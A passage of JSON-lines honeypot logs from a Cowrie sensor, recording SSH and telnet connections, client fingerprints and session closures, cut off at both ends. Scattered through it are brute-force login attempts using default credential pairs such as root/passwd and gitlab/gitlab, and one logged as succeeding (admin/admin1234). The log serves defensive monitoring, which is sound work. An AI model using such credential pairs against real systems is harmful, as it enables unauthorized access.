0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:56.856113Z","src_ip":"176.65.132.254","session":"c2ac5426d882","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.23228979110718,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:56.999077Z","src_ip":"65.60.27.33","session":"6465f1fbb9c3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpUser","password":"ftpUser","message":"login attempt [ftpUser/ftpUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:57.104450Z","src_ip":"176.65.132.254","session":"c2ac5426d882","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:58.191299Z","src_ip":"176.65.132.254","session":"c2ac5426d882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37390,"dst_ip":"10.17.0.5","dst_port":23,"session":"52900742fa9d","protocol":"telnet","message":"New connection: 62.210.97.77:37390 (10.17.0.5:23) [session: 52900742fa9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:58.654978Z"}
{"eventid":"cowrie.session.closed","duration":33.77128195762634,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:59.026110Z","src_ip":"62.210.97.77","session":"4dee32eea896","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.479897260665894,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:59.356968Z","src_ip":"62.210.97.77","session":"34d6ad359aca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37394,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d1c3c6915ee","protocol":"telnet","message":"New connection: 62.210.97.77:37394 (10.17.0.5:23) [session: 7d1c3c6915ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:59.474038Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37398,"dst_ip":"10.17.0.5","dst_port":23,"session":"0244240bbdb5","protocol":"telnet","message":"New connection: 62.210.97.77:37398 (10.17.0.5:23) [session: 0244240bbdb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:59.610942Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37404,"dst_ip":"10.17.0.5","dst_port":23,"session":"3af6ea18abdc","protocol":"telnet","message":"New connection: 62.210.97.77:37404 (10.17.0.5:23) [session: 3af6ea18abdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:00.186721Z"}
{"eventid":"cowrie.session.closed","duration":34.63336634635925,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:00.241906Z","src_ip":"62.210.97.77","session":"e1c88207a6cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56538,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5b8a839cc5b","protocol":"ssh","message":"New connection: 176.65.132.254:56538 (10.17.0.5:22) [session: e5b8a839cc5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:00.938654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:00.943258Z","src_ip":"176.65.132.254","session":"e5b8a839cc5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:01.040485Z","src_ip":"176.65.132.254","session":"e5b8a839cc5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.50161266326904,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:01.349533Z","src_ip":"62.210.97.77","session":"508d50ec28b4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:01.440442Z","src_ip":"176.65.132.254","session":"e5b8a839cc5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:02.527871Z","src_ip":"176.65.132.254","session":"e5b8a839cc5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.932424545288086,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:02.894073Z","src_ip":"62.210.97.77","session":"30e9bad618f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.95637488365173,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:03.413144Z","src_ip":"62.210.97.77","session":"6b9cdaa9eaee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.29352355003357,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:03.825462Z","src_ip":"65.60.27.33","session":"314b1c67135e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57982,"dst_ip":"10.17.0.5","dst_port":23,"session":"a01c4206ca8e","protocol":"telnet","message":"New connection: 165.232.131.181:57982 (10.17.0.5:23) [session: a01c4206ca8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:04.179468Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51678,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e4864d5c263","protocol":"ssh","message":"New connection: 176.65.132.254:51678 (10.17.0.5:22) [session: 0e4864d5c263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:04.719363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:04.729291Z","src_ip":"176.65.132.254","session":"0e4864d5c263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:04.811566Z","src_ip":"176.65.132.254","session":"0e4864d5c263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:05.059664Z","src_ip":"176.65.132.254","session":"0e4864d5c263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.14392399787903,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:05.291752Z","src_ip":"62.210.97.77","session":"dabf3c61015d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:06.151855Z","src_ip":"176.65.132.254","session":"0e4864d5c263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":32966,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc04c4dfa95e","protocol":"telnet","message":"New connection: 65.60.27.33:32966 (10.17.0.5:23) [session: cc04c4dfa95e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:07.618616Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51680,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecb917e9b022","protocol":"ssh","message":"New connection: 176.65.132.254:51680 (10.17.0.5:22) [session: ecb917e9b022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:08.678644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:08.683553Z","src_ip":"176.65.132.254","session":"ecb917e9b022","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:08.766631Z","src_ip":"176.65.132.254","session":"ecb917e9b022","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:09.030133Z","src_ip":"176.65.132.254","session":"ecb917e9b022","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33174,"dst_ip":"10.17.0.5","dst_port":23,"session":"0edf40cbfc09","protocol":"telnet","message":"New connection: 62.210.97.77:33174 (10.17.0.5:23) [session: 0edf40cbfc09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:09.037685Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:10.152387Z","src_ip":"176.65.132.254","session":"ecb917e9b022","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.963154792785645,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:10.318050Z","src_ip":"165.232.131.181","session":"3c3b5226f228","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35994,"dst_ip":"10.17.0.5","dst_port":23,"session":"edd232111de2","protocol":"telnet","message":"New connection: 65.60.27.33:35994 (10.17.0.5:23) [session: edd232111de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:10.992423Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":55618,"dst_ip":"159.203.135.109","dst_port":22,"session":"52eaedeb98ff","protocol":"ssh","message":"New connection: 194.59.206.2:55618 (159.203.135.109:22) [session: 52eaedeb98ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:11.543554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:11.548602Z","src_ip":"194.59.206.2","session":"52eaedeb98ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:11.634822Z","src_ip":"194.59.206.2","session":"52eaedeb98ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:11.726154Z","src_ip":"194.59.206.2","session":"52eaedeb98ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.17606067657471,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:12.305945Z","src_ip":"62.210.97.77","session":"65f3a65f31e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":17392,"dst_ip":"10.17.0.5","dst_port":22,"session":"52e1d8f3c69e","protocol":"ssh","message":"New connection: 190.129.122.12:17392 (10.17.0.5:22) [session: 52e1d8f3c69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:12.408011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:12.412556Z","src_ip":"190.129.122.12","session":"52e1d8f3c69e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58494,"dst_ip":"10.17.0.5","dst_port":22,"session":"16ba656e957e","protocol":"ssh","message":"New connection: 176.65.132.254:58494 (10.17.0.5:22) [session: 16ba656e957e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:12.538809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:12.545223Z","src_ip":"176.65.132.254","session":"16ba656e957e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:12.593181Z","src_ip":"190.129.122.12","session":"52e1d8f3c69e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:12.622916Z","src_ip":"176.65.132.254","session":"16ba656e957e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.62628674507141,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:12.822749Z","src_ip":"62.210.97.77","session":"05988bf05164","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":40092,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5a70b8875e9","protocol":"ssh","message":"New connection: 103.189.235.176:40092 (159.203.135.109:22) [session: c5a70b8875e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:13.065664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:13.069745Z","src_ip":"103.189.235.176","session":"c5a70b8875e9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:13.159373Z","src_ip":"176.65.132.254","session":"16ba656e957e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hell